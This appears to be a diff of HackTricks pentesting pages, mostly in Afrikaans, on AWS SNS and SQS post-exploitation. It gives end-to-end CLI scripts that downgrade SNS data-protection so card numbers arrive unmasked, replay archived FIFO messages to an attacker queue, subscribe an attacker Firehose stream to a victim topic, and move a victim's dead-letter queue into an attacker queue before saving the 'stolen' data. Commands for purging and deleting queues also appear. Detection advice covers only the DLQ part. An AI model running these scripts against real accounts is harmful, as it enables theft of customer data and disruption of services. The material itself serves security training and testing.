SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
|
||||
Verwagte uittreksel toon maskeering (hashes):
|
||||
```json
|
||||
"Message" : "payment:{cc:################}"
|
||||
```
|
||||
4) Verlaag die beleid na audit-only (geen deidentify/deny-stellings wat Outbound beïnvloed)
|
||||
|
||||
Vir SNS moet Audit-stellings Inbound wees. Deur die beleid te vervang met 'n Audit-only Inbound-stelling word enige Outbound de-identification verwyder, sodat boodskappe ongewysig na subskribente vloei.
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "AuditInbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Inbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
|
||||
```
|
||||
|
||||
5) Publiseer dieselfde boodskap en verifieer dat die ontmaskerde waarde afgelewer word
|
||||
```bash
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
Verwagte uittreksel wys klarteks CC:
|
||||
```text
|
||||
4539894458086459
|
||||
```
|
||||
## Impak
|
||||
- Deur 'n topic te skakel van de-identification/deny na audit-only (of andersins Outbound controls te verwyder) kan PII/secrets onveranderd deurgaan na attacker-controlled subscriptions, wat data exfiltration moontlik maak wat andersins gemaskeer of geblokkeer sou word.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+100
@@ -0,0 +1,100 @@
|
||||
# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Misbruik van Amazon SNS FIFO topic message archiving om previously published messages te replay en exfiltrate na 'n attacker-controlled SQS FIFO queue deur die subscription ReplayPolicy te stel.
|
||||
|
||||
- Service: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
|
||||
- Requirements: Topic must have ArchivePolicy enabled (message archiving). Attacker can Subscribe to the topic and set attributes on their subscription. Attacker controls an SQS FIFO queue and allows the topic to send messages.
|
||||
- Impact: Historical messages (published before the subscription) can be delivered to the attacker endpoint. Replayed deliveries are flagged with Replayed=true in the SNS envelope.
|
||||
|
||||
## Voorvereistes
|
||||
- SNS FIFO topic with archiving enabled: `ArchivePolicy` (e.g., `{ "MessageRetentionPeriod": "2" }` for 2 days).
|
||||
- Attacker has permissions to:
|
||||
- `sns:Subscribe` on the target topic.
|
||||
- `sns:SetSubscriptionAttributes` on the created subscription.
|
||||
- Attacker has an SQS FIFO queue and can attach a queue policy allowing `sns:SendMessage` from the topic ARN.
|
||||
|
||||
## Minimale IAM-permissies
|
||||
- On topic: `sns:Subscribe`.
|
||||
- On subscription: `sns:SetSubscriptionAttributes`.
|
||||
- On queue: `sqs:SetQueueAttributes` for policy, and queue policy permitting `sns:SendMessage` from the topic ARN.
|
||||
|
||||
## Aanval: Replay archived messages to attacker SQS FIFO
|
||||
Die attacker subscribe hulle SQS FIFO queue aan die victim SNS FIFO topic, en stel dan die `ReplayPolicy` na 'n timestamp in die verlede (binne die archive retention window). SNS replay onmiddellik die ooreenstemmende archived messages na die nuwe subscription en merk hulle met `Replayed=true`.
|
||||
|
||||
Notes:
|
||||
- The timestamp used in `ReplayPolicy` must be >= the topic's `BeginningArchiveTime`. If it's earlier, the API returns `Invalid StartingPoint value`.
|
||||
- For SNS FIFO `Publish`, you must specify a `MessageGroupId` (and either dedup ID or enable `ContentBasedDeduplication`).
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI POC (us-east-1)</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
|
||||
TS_START=$(python3 - << 'PY'
|
||||
from datetime import datetime, timezone, timedelta
|
||||
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
|
||||
PY
|
||||
)
|
||||
|
||||
# 1) Create SNS FIFO topic with archiving (2-day retention)
|
||||
TOPIC_NAME=htreplay$(date +%s).fifo
|
||||
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
|
||||
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
|
||||
--query TopicArn --output text)
|
||||
|
||||
echo "Topic: $TOPIC_ARN"
|
||||
|
||||
# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
|
||||
for i in $(seq 1 3); do
|
||||
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
|
||||
--message-group-id g1 >/dev/null
|
||||
done
|
||||
|
||||
# 3) Create attacker SQS FIFO queue and allow only this topic to send
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
|
||||
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
|
||||
--attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
cat > /tmp/ht-replay-sqs-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
# Use CLI input JSON to avoid quoting issues
|
||||
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
|
||||
import json, os
|
||||
print(json.dumps({
|
||||
'QueueUrl': os.environ['Q_URL'],
|
||||
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
|
||||
}))
|
||||
PY
|
||||
)"
|
||||
|
||||
# 4) Subscribe the queue to the topic
|
||||
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
|
||||
echo "Subscription: $SUB_ARN"
|
||||
|
||||
# 5) Ensure StartingPoint is >= BeginningArchiveTime
|
||||
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
|
||||
START=${TS_START}
|
||||
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
|
||||
|
||||
aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
|
||||
--attribute-name ReplayPolicy \
|
||||
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
|
||||
|
||||
# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 10 \
|
||||
--message-attribute-names All --attribute-names All
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impak
|
||||
**Potensiële Impak**: ’n Aanvaller wat op ’n SNS FIFO topic kan inteken met argivering geaktiveer, en `ReplayPolicy` op hul subscription kan stel, kan onmiddellik historiese boodskappe wat na daardie topic gepubliseer is, herspeel en eksfiltreer — nie net boodskappe wat ná die skepping van die subscription gestuur is nie. Afgelewerde boodskappe sluit ’n `Replayed=true` vlag in die SNS-envelope in.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+76
@@ -0,0 +1,76 @@
|
||||
# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Misbruik die Firehose subskripsieprotokol om 'n attacker-controlled Kinesis Data Firehose delivery stream op 'n victim SNS standard topic te registreer. Sodra die subskripsie in plek is en die vereiste IAM rol `sns.amazonaws.com` vertrou, word elke toekomstige kennisgewing permanent in die attacker’s S3 bucket geskryf met minimale geraas.
|
||||
|
||||
## Vereistes
|
||||
- Permissies in die attacker rekening om 'n S3 bucket, Firehose delivery stream, en die IAM rol wat deur Firehose gebruik word te skep (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, ens.).
|
||||
- Die vermoë om `sns:Subscribe` op die victim topic uit te voer (en opsioneel `sns:SetSubscriptionAttributes` as die subscription role ARN na skepping verskaf word).
|
||||
- 'n Topic policy wat die attacker principal toelaat om te subscribe (of die attacker funksioneer reeds binne dieselfde rekening).
|
||||
|
||||
## Aanvalsstappe (dieselfde-rekening voorbeeld)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SUFFIX=$(date +%s)
|
||||
|
||||
# 1) Create attacker S3 bucket and Firehose delivery stream
|
||||
ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
|
||||
aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
|
||||
|
||||
STREAM_NAME=ht-firehose-stream-$SUFFIX
|
||||
FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
|
||||
|
||||
# Role Firehose assumes to write into the bucket
|
||||
aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/firehose-s3-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
|
||||
|
||||
aws firehose create-delivery-stream \
|
||||
--delivery-stream-name "$STREAM_NAME" \
|
||||
--delivery-stream-type DirectPut \
|
||||
--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
|
||||
--region $REGION >/dev/null
|
||||
|
||||
# 2) IAM role SNS assumes when delivering into Firehose
|
||||
SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
|
||||
aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/allow-firehose.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
|
||||
|
||||
SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
|
||||
|
||||
# 3) Subscribe Firehose to the victim topic
|
||||
TOPIC_ARN=<VICTIM_TOPIC_ARN>
|
||||
aws sns subscribe \
|
||||
--topic-arn "$TOPIC_ARN" \
|
||||
--protocol firehose \
|
||||
--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
|
||||
--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
|
||||
--region $REGION
|
||||
|
||||
# 4) Publish test message and confirm arrival in S3
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
|
||||
sleep 90
|
||||
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
|
||||
```
|
||||
## Opruiming
|
||||
- Verwyder die SNS-intekening, Firehose-afleweringsstroom, tydelike IAM-rolle/beleide, en attacker S3-bucket.
|
||||
|
||||
## Impak
|
||||
**Potensiële Impak**: Deurlopende, volhoubare exfiltration van elke boodskap wat na die geteikende SNS topic gepubliseer word in attacker-gekontroleerde berging met 'n minimale operasionele voetspoor.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+150
@@ -0,0 +1,150 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
## Beskrywing
|
||||
|
||||
Misbruik SQS message move tasks om alle opgeboude boodskappe uit 'n slagoffer se Dead-Letter Queue (DLQ) te steel deur dit na 'n deur die aanvaller beheerde queue om te lei met behulp van `sqs:StartMessageMoveTask`. Hierdie tegniek misbruik AWS se wettige boodskapherwinningsfunksie om sensitiewe data wat oor tyd in DLQs opgehoop het, uit te voer.
|
||||
|
||||
## Wat is 'n Dead-Letter Queue (DLQ)?
|
||||
|
||||
A Dead-Letter Queue is 'n spesiale SQS-queue waar boodskappe outomaties gestuur word wanneer hulle nie suksesvol deur die hooftoepassing verwerk word nie. Hierdie mislukte boodskappe bevat dikwels:
|
||||
- Sensitiewe toepassingsdata wat nie verwerk kon word nie
|
||||
- Foutbesonderhede en debugging-inligting
|
||||
- Persoonlik identifiseerbare inligting (PII)
|
||||
- API-tokene, kredensiale, of ander geheime
|
||||
- Sakekritieke transaksiedata
|
||||
|
||||
DLQs tree op as 'n "begraafplaas" vir mislukte boodskappe, wat hulle waardevolle teikens maak aangesien hulle oor tyd sensitiewe data opbou wat toepassings nie behoorlik kon hanteer nie.
|
||||
|
||||
## Aanvalscenario
|
||||
|
||||
**Werklike voorbeeld:**
|
||||
1. **E-handels toepassing** verwerk kliëntbestellings via SQS
|
||||
2. **Sommige bestellings misluk** (betalingsprobleme, voorraadprobleme, ens.) en word na 'n DLQ verskuif
|
||||
3. **DLQ stapel op** weke/maande van mislukte bestellings wat kliëntdata bevat: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Aanvaller kry toegang** tot AWS-credentials met SQS-permissies
|
||||
5. **Aanvaller ontdek** dat die DLQ duisende mislukte bestellings met sensitiewe data bevat
|
||||
6. **In plaas daarvan om te probeer om individuele boodskappe te bekom** (stadig en opvallend), gebruik die aanvaller `StartMessageMoveTask` om AL die boodskappe in bondel na hul eie queue oor te dra
|
||||
7. **Aanvaller onttrek** alle historiese sensitiewe data in een operasie
|
||||
|
||||
## Vereistes
|
||||
- Die bron queue moet as 'n DLQ gekonfigureer wees (verwys deur ten minste een queue RedrivePolicy).
|
||||
- IAM permissions (uitgevoer as die gekompromitteerde slagoffer-prinsipaal):
|
||||
- Op DLQ (bron): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Op bestemmings-queue: toestemming om boodskappe te lewer (bv. queue policy wat `sqs:SendMessage` vanaf die slagoffer-prinsipaal toelaat). Vir bestemmings in dieselfde account is dit gewoonlik standaard toegelaat.
|
||||
- Indien SSE-KMS geaktiveer is: op bron CMK `kms:Decrypt`, en op bestemmings CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impak
|
||||
Onttrek sensitiewe payloads wat in DLQs opgehoop is (mislukte gebeurtenisse, PII, tokens, toepassingspayloads) teen hoë spoed deur die inheemse SQS-APIs te gebruik. Werk cross-account as die bestemmings-queue policy `SendMessage` van die slagoffer-prinsipaal toelaat.
|
||||
|
||||
## Hoe om te misbruik
|
||||
|
||||
- Identifiseer die slagoffer DLQ ARN en maak seker dit word werklik as 'n DLQ verwys deur 'n queue (enige queue is goed).
|
||||
- Skep of kies 'n aanvaller-beheerde bestemmings-queue en kry sy ARN.
|
||||
- Begin 'n message move task van die slagoffer DLQ na jou bestemmings-queue.
|
||||
- Monitor vordering of kanselleer indien nodig.
|
||||
|
||||
### CLI Voorbeeld: Exfiltrering van Kliëntdata vanaf E-handels DLQ
|
||||
|
||||
**Scenario**: 'n Aanvaller het AWS-credentials gekompromitteer en ontdek dat 'n e-handels toepassing SQS met 'n DLQ gebruik wat mislukte kliëntbestellings verwerkpogings bevat.
|
||||
|
||||
1) **Vind en ondersoek die slagoffer DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Skep aanvaller-beheerde bestemmingsry**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Voer die grootskaalse boodskapdiefstal uit**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Versamel die gesteelde sensitiewe data**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Kruis-rekening notas
|
||||
- Die bestemmings-queue moet 'n resource policy hê wat die slagoffer-principal toelaat om `sqs:SendMessage` (en, indien gebruik, KMS grants/permissions).
|
||||
|
||||
## Waarom hierdie aanval effektief is
|
||||
|
||||
1. **Legitieme AWS-funksie**: Gebruik ingeboude AWS-funksionaliteit, wat dit moeilik maak om as kwaadaardig op te spoor
|
||||
2. **Grootmaat-operasie**: Dra duisende boodskappe vinnig oor in plaas van stadige individuele toegang
|
||||
3. **Historiese data**: DLQs versamel sensitiewe data oor weke/maande
|
||||
4. **Onder die radar**: Baie organisasies monitor nie DLQ-toegang noukeurig nie
|
||||
5. **Kruis-rekening moontlik**: Kan exfiltrate na die aanvaller se eie AWS-rekening as toestemmings dit toelaat
|
||||
|
||||
## Opsporing en Voorkoming
|
||||
|
||||
### Opsporing
|
||||
Moniteer CloudTrail vir verdagte `StartMessageMoveTask` API-aanroepe:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Voorkoming
|
||||
1. **Least Privilege**: Beperk `sqs:StartMessageMoveTask` toestemmings tot slegs die nodige rolle
|
||||
2. **Monitor DLQs**: Stel CloudWatch alarms op vir ongewone DLQ-aktiwiteit
|
||||
3. **Cross-Account Policies**: Hersien SQS queue-beleid wat cross-account toegang toelaat noukeurig
|
||||
4. **Encrypt DLQs**: Gebruik SSE-KMS met beperkte sleutelbeleide
|
||||
5. **Regular Cleanup**: Moenie sensitiewe data vir onbepaalde tyd in DLQs laat ophoop nie
|
||||
@@ -1,73 +0,0 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SQS-ry stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan aktiveer, of hulpbronne kan uitput.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Potensiële Impak**: Kwetsbaarheid eksplorasie, Data korrupsie, onbedoelde aksies, of hulpbron uitputting.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
'n Aanvaller kan boodskappe in 'n SQS-ry ontvang, verwyder of die sigbaarheid daarvan verander, wat kan lei tot boodskapverlies, datakorrupsie, of diensonderbreking vir toepassings wat op daardie boodskappe staatmaak.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Potensiële Impak**: Steal sensitiewe inligting, boodskapverlies, datakorruptie, en diensonderbreking vir toepassings wat op die geraakte boodskappe staatmaak.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
'n Aanvaller kan 'n hele SQS-rye verwyder, wat boodskapverlies veroorsaak en toepassings wat op die ry staatmaak, beïnvloed.
|
||||
```arduino
|
||||
Copy codeaws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
**Potensiële Impak**: Boodskapverlies en diensonderbreking vir toepassings wat die verwyderde wachtrij gebruik.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
'n Aanvaller kan alle boodskappe uit 'n SQS-wachtrij verwyder, wat lei tot boodskapverlies en potensiële onderbreking van toepassings wat op daardie boodskappe staatmaak.
|
||||
```arduino
|
||||
Copy codeaws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
**Potensiële Impak**: Boodskapverlies en diensonderbreking vir toepassings wat op die verwyderde boodskappe staatmaak.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
'n Aanvaller kan die eienskappe van 'n SQS-ry verander, wat moontlik die prestasie, sekuriteit of beskikbaarheid daarvan beïnvloed.
|
||||
```arduino
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
**Potensiële Impak**: Misconfigurasies wat lei tot verminderde prestasie, sekuriteitskwessies, of verminderde beskikbaarheid.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
'n Aanvaller kan etikette byvoeg, wysig of verwyder van SQS-hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing, en toegangbeheerbeleide gebaseer op etikette ontwrig.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
'n Aanvaller kan toestemming vir wettige gebruikers of dienste herroep deur beleide wat met die SQS-ry gekoppeld is, te verwyder. Dit kan lei tot ontwrichtings in die normale funksionering van toepassings wat op die ry staatmaak.
|
||||
```arduino
|
||||
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Potensiële Impak**: Ontwrichting van normale funksionering vir toepassings wat op die waglys staatmaak as gevolg van ongeoorloofde verwydering van toestemmings.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+83
@@ -0,0 +1,83 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
’n aanvaller kan kwaadwillige of ongewenste boodskappe na die SQS-ry stuur, wat moontlik datakorrupsie veroorsaak, onbedoelde optrede aktiveer, of hulpbronne uitput.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Potensiële impak**: Uitbuiting van kwesbaarhede, datakorrupsie, onbedoelde aksies, of hulpbronuitputting.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
'n aanvaller kan boodskappe in 'n SQS-waglys ontvang, uitvee of die sigbaarheid daarvan wysig, wat kan lei tot boodskapverlies, datakorrupsie of diensonderbreking vir toepassings wat op daardie boodskappe staatmaak.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Potensiële impak**: Steel sensitiewe inligting, boodskapverlies, datakorrupsie, en diensonderbreking vir toepassings wat op die geraakte boodskappe staatmaak.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
'n Aanvaller kan 'n hele SQS-waglys verwyder, wat boodskapverlies veroorsaak en toepassings wat op die waglys staatmaak benadeel.
|
||||
```bash
|
||||
aws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
**Potensiële impak**: Boodskapverlies en diensonderbreking vir toepassings wat die verwyderde queue gebruik.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
'n aanvaller kan alle boodskappe uit 'n SQS queue verwyder, wat lei tot boodskapverlies en moontlike ontwrigting van toepassings wat op daardie boodskappe staatmaak.
|
||||
```bash
|
||||
aws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
**Potensiële impak**: Boodskapverlies en diensonderbreking vir toepassings wat staatmaak op die verwyderde boodskappe.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
'n Aanvaller kan die eienskappe van 'n SQS-waglyn wysig, wat moontlik sy werkverrigting, sekuriteit of beskikbaarheid beïnvloed.
|
||||
```bash
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
**Potential Impact**: Miskonfigurasies wat lei tot verminderde prestasie, sekuriteitsprobleme of verminderde beskikbaarheid.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
'n Aanvaller kan etikette by SQS-hulpbronne voeg, wysig of verwyder, wat jou organisasie se kostetoewysing, hulpbronopsporing en op etikette gebaseerde toegangbeheerbeleid kan ontwrig.
